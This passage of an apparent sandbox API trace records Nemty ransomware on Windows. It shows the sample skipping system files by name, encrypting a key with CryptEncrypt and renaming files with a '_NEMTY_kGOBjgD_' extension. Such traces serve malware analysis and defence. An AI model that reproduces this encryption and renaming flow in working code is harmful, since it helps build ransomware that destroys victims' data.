0xffffffff [0168.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.815] CloseHandle (hObject=0xffffffff) returned 0 [0168.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0168.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0168.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0168.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0168.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_windy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_windy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_windy.png._nemty_kgobjgd_")) returned 0 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.816] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fcb7a1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86fcb7a1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36866403, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8184, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2=".") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="..") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="...") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="windows") returned -1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="rsa") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="NTDETECT.COM") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="ntldr") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="MSDOS.SYS") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="IO.SYS") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="boot.ini") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="boot.ini") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="ntuser.dat") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="desktop.ini") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="CONFIG.SYS") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="RECYCLER") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="bootmgr") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="programdata") returned 1 [0168.816] lstrcmpiW (lpString1="undocked_gray_cloudy.png", lpString2="appdata") returned 1 [0168.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 24 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 24 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 24 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_cloudy.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 24 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0168.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0168.817] Sleep (dwMilliseconds=0x5) [0168.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1845a4f0, dwHighDateTime=0x1d561e8)) [0168.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1845a4f0, dwHighDateTime=0x1d561e8)) [0168.821] GetLastError () returned 0x5 [0168.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.821] GetLastError () returned 0x5 [0168.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.821] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.821] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.821] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0168.821] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="fDxEiZyfQ2yTn2ZjrAX78f9J8Y3vZV90n4JeWkU3Ajfe/7dBQiHJ5I23M4RvFGIv\r\nnXWhh7adVYQcJlXuh6SC9xd7y1ntuz3j3RmM9if4+j7poeM9Sm9JncBTndkqFHpL\r\nRwKuFBZvNMHnn/dOXV7SvnV48xtEDhxH3+0iN2njY/Q7xnGBoyMhO1/uQvFxo/pH\r\n/yffurnk/zlYx+xMt99EBV5Fq/95A+Ca0UrwlPoaQeq1Ci7FE5qSEoJg+f5oxrr8\r\n5YiyLumjHE+FC5JcML4gesTlba+64wl0XWl1ecD5v4xtiFtg1lOxG8LqN86nR/ZX\r\nYcceh70q+Y3kfEIeoKBNZA==\r\n", pcchString=0x653e91c) returned 1 [0168.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0168.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.822] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.822] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, 